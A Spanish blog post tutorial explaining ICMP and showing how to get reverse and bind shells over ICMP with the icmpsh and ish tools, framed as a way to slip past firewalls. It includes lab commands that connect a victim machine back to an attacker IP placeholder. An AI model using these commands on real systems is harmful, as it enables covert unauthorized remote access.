sábado, 21 de enero de 2017

Conexion de shell inversa mediante ICMP

Definición:

El Protocolo de Mensajes de Control de Internet o ICMP (por sus siglas en inglés de Internet Control Message Protocol) es el sub protocolo de control y notificación de errores del Protocolo de Internet (IP). Como tal, se usa para enviar mensajes de error, indicando por ejemplo que un servicio determinado no está disponible o que un router o host no puede ser localizado. También puede ser utilizado para transmitir mensajes ICMP Query.

ICMP difiere del propósito de TCP y UDP ya que generalmente no se utiliza directamente por las aplicaciones de usuario en la red. La única excepción es la herramienta ping y traceroute, que envían mensajes de petición Echo ICMP (y recibe mensajes de respuesta Echo) para determinar si un host está disponible, el tiempo que le toma a los paquetes en ir y regresar a ese host y cantidad de hosts por los que pasa.

Más sobre el protocolo ICMP en: https://www.rfc-es.org/rfc/rfc0792-es.txt 

En esta entrada veremos como tener acceso a una shell (con conexión inversa) de una máquina,  mediante el protocolo ICMP y evitar así posibles Firewalls o IPS.

Tutorial:

ICMPSH

Herramienta escrita en python que no necesita permisos de administrador para usarse, esta herramienta solo puede ejecutarse en sistemas operativos Windows.
En este caso se usa una conexión inversa.

Para descargar la herramienta: https://github.com/inquisb/icmpsh

PoC:

En esta prueba de concepto se usara como máquina atacante un Kali Linux, y como máquina víctima un Windows 10 Pro.

Antes de nada en la máquina atacante deberemos editar un archivo para transferir correctamente las peticiones ICMP entre servidor y cliente, para ello usaremos el comando:

$ sysctl -w net.ipv4.icmp_echo_ignore_all=1

Luego ejecutaremos el comando:

$ python icmpsh_m.py <IPLOCAL> <IPVICTIMA>

Y desde la máquina víctima ejecutaremos:

> icmpsh.exe -t <IPATACANTE> -d 500 -b 30 -s 128


Y la conexión se realizará de forma exitosa.

Vídeo:

ISHELL

En esta herramienta la conexión será de tipo "bind", solo funcionará en Linux, BSD, Solaris y ahora si necesitaremos el uso de permisos de administrador.
Podemos encontrar la descarga de la herramienta en: https://sourceforge.net/projects/icmpshell/files/ish/v0.2/

Para instalarla ejecutaremos el comando make linux sobre el directorio raíz de la carpeta.

PoC:

En esta prueba de concepto se usara como máquina atacante un Kali Linux, y como máquina víctima un Ubuntu 16.04.

Una vez instalada la herramienta (Tanto en la máquina víctima como en la atacante), en la máquina víctima ejecutaremos el comando:

$ ./ishd -d -p <PUERTO>

Y luego el atacante se conectará al puerto de la máquina víctima con el comando:

$ ./ish -tr 0 -p <PUERTO> <IPVÍCTIMA>

Vídeo:

 


Previous Post
Next Post

post written by:

0 comentarios: